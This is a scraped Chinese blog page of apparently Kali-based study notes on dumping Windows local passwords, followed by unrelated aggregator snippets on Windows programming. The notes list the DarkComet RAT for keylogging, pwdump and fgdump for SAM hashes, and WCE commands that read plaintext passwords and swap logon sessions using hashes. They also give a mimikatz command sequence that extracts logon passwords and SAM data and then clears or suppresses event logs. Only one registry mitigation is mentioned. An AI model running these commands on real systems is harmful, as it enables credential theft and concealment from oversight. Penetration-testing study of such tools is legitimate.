【kali】28 提权——读取windows本地密码:pwddump、WCE、fgdump、mimikatz

2023-11-06

一、 抓包嗅探

Windows

Wireshark
Omnipeek (好多的分析功能
Commview
Sniffpass:抓取密码相关的数据包

Linux

Tcpdump
Wireshark
Dsniff:抓取密码相关的数据包

二、 键盘记录本地密码

可以使用木马软件 DarkCometRAT

在控制目标主机之后可以监控键盘记录信息

三、 查看本地缓存密码

1. 浏览器查看密码

2. 密码恢复工具

3. 使用 Pwdump 查看 windows 本地登录密码

  • windows 登录密码保存在 C:\Windows\System32\config\SAM 文件中

  • Pwdump 在 kali 系统中可以找到 /usr/share/windows-binaries/fgdump/

在这里插入图片描述

在这里插入图片描述
登录windows时不保存密码的,不以明文的方式,哈希值,以哈希计算的方式进行比较
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
默认administrator 500

  • 可以将结果保存在文件中,然后在 kali 中进行破解
  • 在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

4. 了解windows身份认证过程

在这里插入图片描述

在这里插入图片描述

  • 发起请求 包含用户名,不会被加密
  • 服务器响应给客户 C 是一个随机数
  • 客户端将C进行哈希计算 生成R
  • R返回给服务端
  • SAM数据库中的值和R进行比对
  • 远程登录,由远程登录安全包进行处理
  • 大部分 安全包都以密文存储
  • W摘要 (安全包)在内存中维护一个明文形式的密码——

在这里插入图片描述

5. WCE (WINDOWS CREDENTIAL EDITOR)

  • 从kali中拷贝文件到物理机——物理机允许此条威胁
  • 新建用户net user a a /add
  • 每隔5秒刷新一次wce-universal.exe -r
  • 删除登录会话wce-universal.exe -d 0020B19D
  • 计算密码对应的 HASH 值wce-universal.exe -g passwd
  • 读取内核中的明文密码wce-universal.exe -w

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

读取内核中的明文密码wce-universal.exe -w

当前内核中保存的值会在下次登录被读取出来
在这里插入图片描述

对 LUID 进行修改(将LUID改为匹配其他用户的用户名和密码)

wce-universal.exe -i luid -s 要修改成的会话
# 把b的会话 改成grb的
wce-universal.exe -i 0008CA88 -s grb:WINXP-1:84384BC3A6782EFD3B435B51404EE:354E325DD1C1CB795A6043750BAC2

Win7 及 之前默认 都可遭受 WCE 攻击

默认会启动包
防范方法:修改注册表

tspkg 终端服务,远程登陆时进行身份验证
wdigest 本体登陆时身份验证

# 启动
regedit
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

在这里插入图片描述

6. fgdump

位置
在这里插入图片描述
放在 WinXP 中, 双击或在命令行执行 fgdump.exe 会自动生成三个文件,文件中保存着密码
在这里插入图片描述

7. mimikatz

在这里插入图片描述
在这里插入图片描述

# 查看帮助
::
  C:\Win32>mimikatz.exe
  查看帮助是::
  mimikatz # ::
  	        standard  -  Standard module  [Basic commands (does not require module name)]
  	          crypto  -  Crypto Module
  	        sekurlsa  -  SekurLSA module  [Some commands to enumerate credentials...]
  	        kerberos  -  Kerberos package module  []
  	       privilege  -  Privilege module
  	         process  -  Process module
  	         service  -  Service module
  	         lsadump  -  LsaDump module
  	              ts  -  Terminal Server module
  	           event  -  Event module
  	            misc  -  Miscellaneous module
  	           token  -  Token manipulation module
  	           vault  -  Windows Vault/Credential module
  	     minesweeper  -  MineSweeper module
  	             net  -
  	           dpapi  -  DPAPI Module (by API or RAW access)  [Data Protection application programming interface]
  	       busylight  -  BusyLight Module
  	          sysenv  -  System Environment Value module
  	             sid  -  Security Identifiers module
  	             iis  -  IIS XML Config module
  	             rpc  -  RPC control of mimikatz			
  mimikatz # privilege::
  			Module :        privilege
  			Full name :     Privilege module
  	
  	           debug  -  Ask debug privilege            * *
  	          driver  -  Ask load driver privilege
  	        security  -  Ask security privilege
  	             tcb  -  Ask tcb privilege
  	          backup  -  Ask backup privilege
  	         restore  -  Ask restore privilege
  	          sysenv  -  Ask system environment privilege
  	              id  -  Ask a privilege by its id
  	            name  -  Ask a privilege by its name
# 提升权限
  mimikatz # privilege::debug
  mimikatz # sekurlsa::
# 查看密码 登陆状态的所有密码
  mimikatz # sekurlsa::logonPasswords
  mimikatz # sekurlsa::wdigest
# 进程
  mimikatz # process::list
# 
  mimikatz # lsadump::sam
  mimikatz # lsadump::cache
# 终端服务
  mimikatz # ts::multirdp
# 清楚日志信息/drop之后的行为不会被记录
  mimikatz # event::clear
  mimikatz # event::drop

  mimikatz # misc::regedit
  mimikatz # token::whoami

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【kali】28 提权——读取windows本地密码:pwddump、WCE、fgdump、mimikatz 的相关文章

  • win32应用程序、Windows窗体应用程序和控制台应用程序之间有什么区别?

    我想知道 windows 窗体应用程序 win32application 和控制台之间有什么区别 我知道 windows 窗体应用程序和 win32 应用程序都是 gui 工具 但我想知道何时使用其中一个而不是另一个 我可以转换吗控制台应用
  • Windows 8.1 如何修复这个过时的代码?

    我已将我的项目从 Windows 8 0 升级到 Windows 8 1 并收到一些过时代码的警告 其中一些我已经修复了 有些还没有 这是我无法修复且找不到任何信息的最后警告的图像 所有警告都引用相同的方法 并且它说它已过时 我应该怎么做才
  • 将 runas 作为子进程启动并将密码写入标准输入?

    我正在尝试编写一个 C 程序 该程序应该从 Windows 调用 runas 工具并自动输入密码 我尝试过的 Process runas new Process runas StartInfo FileName runas runas St
  • 提取图像文件元数据

    我希望能够在不打开文件的情况下提取图像的元数据和扩展属性 换句话说 如何以编程方式访问在 Windows 中右键单击文件并选择 详细信息 选项卡时显示的信息 使用 Net Framework 4 5 及更高版本执行此操作的正确方法是什么 我
  • 如何在本地主机上托管 Office 加载项?

    我是网络服务器的新手 我在 Windows 10 上安装了 Internet 信息服务 IIS 10 Express 我正在尝试开发 Office 加载项 以便将其托管在我使用的同一台计算机上 问题是如何在本地 Web 服务器中托管加载项
  • 写入输出-InputObject(,'测试')-NoEnumerate

    我认为这是一个仅适用于 PowerShell Windows 5 1 的错误 The NoEnumerate当通过命名提供输入时 开关不起作用 InputObject争论 以下函数返回False Function Test Write Ou
  • Windows Azure 虚拟机在扩展时访问网络速度很慢

    我正在我的小型 azure VM 上运行一些启动脚本 cmd bat 其中包括从已安装的 VHD 进行文件传输操作 通常会在大约 3 分钟内完成 复制文件并使用命令行提取 500Mb zip 文件 7z 当我扩展到约 150 个实例时 相同
  • 我可以在 Windows Azure 中设置成本上限吗?

    我想设置一个 Windows Azure 帐户 我是 MSDN 订阅者 因此前 16 个月我可以 免费 获得它 尽管如此 微软还是想要我的信用卡号码 以防我超出免费限额 从理论上讲 这意味着我正在向微软写一份全权委托书来向我的信用卡收取费用
  • GDI 已加速。有谁知道这是什么时候发生的?

    概述这个问题的背景 在工作中我们使用 Dell Precision 工作站 我目前的电脑是 NVidia Quadro FX1700 我的团队正在开发实时数据采集系统的图形组件 因此 我们总是留意图形操作是否不会占用太多 CPU 时间 为了
  • 如何区分触摸板生成的 WM_MOUSE*** 消息和鼠标设备生成的 WM_MOUSE*** 消息?

    我试过了GetMessageExtraInfo 这里提到 检测WM MOUSEMOVE是否是由触摸 笔引起的 https stackoverflow com questions 29857587 detect if wm mousemove
  • 如何使文件自我更新(Native C++)

    我将 Microsoft Visual Studio 2008 与 Windows 目标部署结合使用 我如何使文件 自我更新 我已经完成了 通过网络传输 部分 但是如何使可执行文件重写自身 基本上 我想为还包含自动更新程序的目录编写一个自动
  • 是否可以确定哪个键盘发送了按键?

    我有一个 Windows Media Center 遥控器 Windows 将其识别为键盘 当我使用 Windows Media Center 运行多显示器设置并在一个屏幕上播放视频时 遥控器的输入将与常规键盘一起定向到活动窗口 因此 当我
  • 如何将 Windows 窗体应用程序 (C++) 设置为具有 Aero/Glass 背景?

    我正在使用 Visual Studio 2010 Pro 用 C 创建 Windows 窗体应用程序 我想创建一个透明背景 即使用 Aero Glass 效果 类似于它围绕 Windows 照片查看器中 UI 底部的方式 此时 我已经查看了
  • 如何使用 .Net (C#) 在 Windows 中安全地存储 AES 密钥?

    我一直在寻找一种方法来存储给定的 AES 密钥 以便无法检索它 但它仍然可以用于加密和解密 使用 C 我认为可以找到非对称密钥存储的等效项here http msdn microsoft com en us library tswxhw92
  • 关于 Windows、原始鼠标数据的代码要 #include 哪些内容

    我发现下面的帖子对于做我自己的项目非常有用 那么新手问题是 我必须包含什么才能使其发挥作用 Link 如何准确测量具有已知 DPI 的鼠标的鼠标移动 以英寸或厘米为单位 https stackoverflow com questions 1
  • 数据太长,导致列错误(包含国家字符)

    我必须移植一些DBS变成独立的MySQL版本 5 0 18运行于Windows 7 64 位我遇到了一个困扰我的问题 如果我尝试将任何国家 Unicode 字符插入varchar我收到错误 ERROR 1406 22001 Data too
  • 如何在每个批处理脚本运行后清除变量?

    看来 由于我使用 SET 在批处理脚本中声明变量 如果我在 cmd 中运行多次 变量值将持续存在 除非我显式重置它们 我是否必须使用 setlocal 和 endlocal 来确保一次运行中的变量不会在不关闭 CMD 的情况下持续到另一次运
  • C++ 控制台键盘事件

    有什么方法可以获取 Windows 控制台中的关键事件吗 我需要一种无需 GUI 即可快速获取 keydown 和 keyup 事件的方法 我尝试过使用 getch 但它没有获取按键并等待按下某个键才返回 Use ReadConsoleIn
  • 适用于 Windows 的 PHP 支持的 GUI 应用程序

    我知道 PHP 是一种解释性语言 对于基于 Web 的事物来说 不是为在实际操作系统上运行 GUI 应用程序而设计的 但是有没有办法呢 基本上 是否有一个框架 系统允许我创建 本机 基本上是二进制文件 exe 看起来像带有本机控件和所有内容
  • Windows Defender 检测 Python EXE 为木马

    我制作了一个 Python 脚本 将 Windows 目录以 zip 形式邮寄给我 我使用 sched 模块添加了一个调度程序 每小时重复一次 我试图制作一个简单的同步应用程序供个人使用 在 Windows 启动时启动 我使用将其转换为 e

随机推荐

  • 通俗易懂的java设计模式(7)-原型模式

    1 什么是原型模式 原型模式提供了一种创建对象的模式 它是指用原型实例创建对象的种类 并且通过拷贝这些原型 创建新的对象 用一个很生动形象的例子 孙悟空拔出一根猴毛 变出其他和自己一模一样的小孙悟空 在这里 原型实例就是孙悟空 拔出的猴毛通
  • PCL_BoundaryEstimation边界提取

    pcl BoundaryEstimation用于散乱点云的边界提取 但应该只适用于简单的点云 过于复杂的话效果应该不太好 同时 需要pcl NormalEstimation先计算法线 算起来也挺慢的 https download csdn
  • 军用软件国家标准

    GB T 11457 2006 信息技术 软件工程术语 SJ 20778 2000 软件开发与文档标准 GJB 2786A 2009 军用软件开发通用要求 GJB 438B 2009 军用软件开发文档通用要求 GJB 4072A 2006
  • 公司职员薪水管理系统(List)

    集合初步完成下面的功能需求 做公司职员薪水管理系统 完成以下功能 1 当有新员工时 将加入该管理系统 2 根据员工号 显示该员工信息 3 可以显示所有员工的信息 4 可以修改员工的薪水 5 当员工离职时 从该系统中删除该员工 6 可以将员工
  • Go 性能

    写性能测试在Go语言中是很便捷的 go自带的标准工具链就有完善的支持 下面我们来从Go的内部和系统调用方面来详细剖析一下Benchmark这块 Benchmark Go做Benchmark只要在目录下创建一个 test go后缀的文件 然后
  • Java项目毕业设计:电脑城销售商城网站(java+springboot+vue+mysql)

    运行环境 开发工具 IDEA Eclipse 数据库 MYSQL5 7 应用服务 Tomcat7 Tomcat8 使用框架springboot vue 项目介绍 随着科技的发展 人们对电子产品的依赖越来越严重 尤其是像电脑和手机这些日常生活
  • 前端获取数据常见的几种方法

    1 原生获取ajax
  • requset-使用BeanUtils封装表单提交的数据到javaBean对象中

    request对象请求参数过多 可以将数据封装到对象 使用BeanUtils解决这个问题 设置一个登录页面准备提交表单数据 username password 导入BeanUtils相关jar包 创建Servlet获取请求参数 调用Bean
  • 84.柱状图中最大的矩形

    84 柱状图中最大的矩形 给定 n 个非负整数 用来表示柱状图中各个柱子的高度 每个柱子彼此相邻 且宽度为 1 求在该柱状图中 能够勾勒出来的矩形的最大面积 示例 1 输入 heights 2 1 5 6 2 3 输出 10 解释 最大的矩
  • vim 删除一整块,vim 删除一整行

    陈永鹏的微博 陈永鹏的csdn博客地址 http blog csdn net chenyoper陈永鹏的博客园地址 http www cnblogs com Yoperchen dd 删除游标所在的一整行 常用 ndd n为数字 删除光标所
  • JavaScript判断数组是否为空、 判断数据类型

    数组 let arr 在进行if 判断数组时 在new Array 一个空数组时 是一个Object对象 所以if arr 时是true 在进行数组直接与true和false的布尔类型比较时 默认是将数组和布尔类型都转化为了Number类型
  • Vtk多个actor绑定选中事件

    Vtk多个actor绑定选中事件 1 交互只有 放大 移动 沿着z轴旋转 2 增加选中回调 3 增加部分模型隐藏 效果 项目地址 在官方案例基础上改的 案例 https kitware github io vtk examples site
  • 后端系统开发之工作和面试中的gdb

    gdb是C C 程序员必备的专业技能 工作中gdb最常用的场景有两个 一个是分析core文件 另一个是调试程序 分析core文件的方法如下 1 gdb 程序名 core文件名 2 bt或where命令查看堆栈信息 3 进入某个栈 f N f
  • Ubuntu + CUDA9.0 + tensorflow-gpu 安装过程

    Ubuntu CUDA9 0 tensorflow gpu 安装过程 简介 tensorflow支持CUDA9 0和cuDNN7 0 因此本教程是在该版本基础上进行安装的 我的电脑CPU是Intel core i7 4710MQ GPU是G
  • torch.nn.Embedding是否有梯度,是否会被训练

    结论 会被训练 测试代码 import torch from torch nn import Embedding class Model torch nn Module def init self super Model self init
  • 微信小程序自定义顶部导航,滚动页面顶部导航颜色渐变

    微信小程序自定义顶部导航栏 使背景图置顶 当向上滚动页面时 实现顶部导航颜色渐变 效果图 实现方法 一 在pages json中设置 navigationStyle custom 代码如下 示例 path pages home home s
  • 软件设计中划分模块的一个准则是_____。 A 低内聚低耦合 B 低内聚高耦合 C 高内聚低耦合 D 高内聚高耦合...

    在软件设计中 一个常用的模块划分准则是 低内聚低耦合 也就是选项 A 这意味着在设计模块时 应当尽量使每个模块内的内容相关性较高 同时使模块之间的耦合较低 这样可以使得模块之间的依赖关系更加清晰 更容易维护和管理
  • IDEA 无法正确install springboot以及其他maven dependency

    java Maven plugins can not be found in IntelliJ Stack Overflow 由于使用了私有的maven仓库 我在 m2 下面设置了setting xml 然后就怎么也没法自动install
  • Atmel studio 出现expected identifier before ‘(’ token解决

    从网上复制了一份代码 粘贴的时候出错expected identifier before token 最关键的是每一行都报错 错的我怀疑人生 就算C语言在差也不至于一个错误都看不出来吧 搞了两个小时发现是空格的问题 嗨 心累 网上找了一个在
  • 【kali】28 提权——读取windows本地密码:pwddump、WCE、fgdump、mimikatz

    这里写自定义目录标题 一 抓包嗅探 二 键盘记录本地密码 三 查看本地缓存密码 1 浏览器查看密码 2 密码恢复工具 3 使用 Pwdump 查看 windows 本地登录密码 4 了解windows身份认证过程 5 WCE WINDOWS